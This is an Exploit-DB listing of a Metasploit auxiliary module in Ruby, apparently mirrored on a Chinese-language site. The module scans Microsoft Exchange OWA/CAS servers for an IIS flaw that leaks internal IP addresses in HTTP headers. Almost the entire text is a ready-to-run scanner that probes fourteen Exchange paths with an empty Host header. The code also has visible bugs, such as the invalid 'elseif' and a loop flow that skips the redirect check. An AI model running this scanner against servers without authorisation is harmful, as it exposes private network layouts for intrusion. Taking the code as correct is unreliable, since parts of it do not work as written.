Microsoft Exchange – IIS HTTP Internal IP Address Disclosure (Metasploit)

  • 作者: Nate Power
    日期: 2014-09-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34817/
  • # Exploit Title: Microsoft Exchange IIS HTTP Internal IP Disclosure Vulnerability
    # Google Dork: NA
    # Date: 08/01/2014
    # Exploit Author: Nate Power
    # Vendor Homepage: microsoft.com
    # Software Link: NA
    # Version: Exchange OWA 2003, Exchange CAS 2007/2010/2013
    # Tested on: Exchange OWA 2003, Exchange CAS 2007/2010/2013
    # CVE : NA
    
    ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Auxiliary
    
     include Msf::Exploit::Remote::HttpClient
     include Msf::Auxiliary::Scanner
    
     def initialize
    super(
    'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
    'Description'=> %q{
    This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013 servers.
    },
    'Author' =>
    [
    'Nate Power'
    ],
    'DisclosureDate' => 'Aug 01 2014',
    'License'=> MSF_LICENSE,
    'DefaultOptions' => {
    'SSL' => true
    }
    )
    
     register_options(
     [
    OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),
    OptInt.new('RPORT', [ true, "The target port", 443]),
     ], self.class)
    end
    
    def run_host(target_host)
     rhost = target_host
     print_status("#{msg} Checking HTTP headers")
     get_ip_extract
    end
    
    def get_ip_extract
    urls = ["/Microsoft-Server-ActiveSync/default.eas",
    "/Microsoft-Server-ActiveSync",
    "/Autodiscover/Autodiscover.xml",
    "/Autodiscover",
    "/Exchange",
    "/Rpc",
    "/EWS/Exchange.asmx",
    "/EWS/Services.wsdl",
    "/EWS",
    "/ecp",
    "/OAB",
    "/OWA",
    "/aspnet_client",
    "/PowerShell"]
    
    result = nil
    
    urls.each do |url|
    begin
    res = send_request_cgi({
    'version' => "1.0",
    'uri'=> "#{url}",
    'method' => 'GET',
    'vhost'=>''
    }, timeout = datastore['TIMEOUT'])
    
    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
    print_error("#{msg} HTTP Connection Failed")
    next
    end
    
    if not res
    print_error("#{msg} HTTP Connection Timeout")
    next
    end
    
    if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))
    result = match.captures[0]
    print_status("#{msg} Status Code: 401 response")
    print_status("#{msg} Found Path: " + url )
    print_good("#{msg} Found target internal IP address: " + result)
    return result
     elseif
    print_warning("#{msg} No internal address found")
    next
    end
    
    if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^http[s]:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))
    result = match.captures[0]
    print_status("#{msg} Status Code: #{res.code} response")
    print_status("#{msg} Found Path: " + url )
    print_good("#{msg} Found target internal IP address: " + result)
    return result
     elseif
    print_warning("#{msg} No internal address found")
    next
    end
    end
    
    if result.nil?
    print_warning("#{msg} Nothing found")
    end
    
    return result
    end
    def msg
    "#{rhost}:#{rport} -"
    end
    end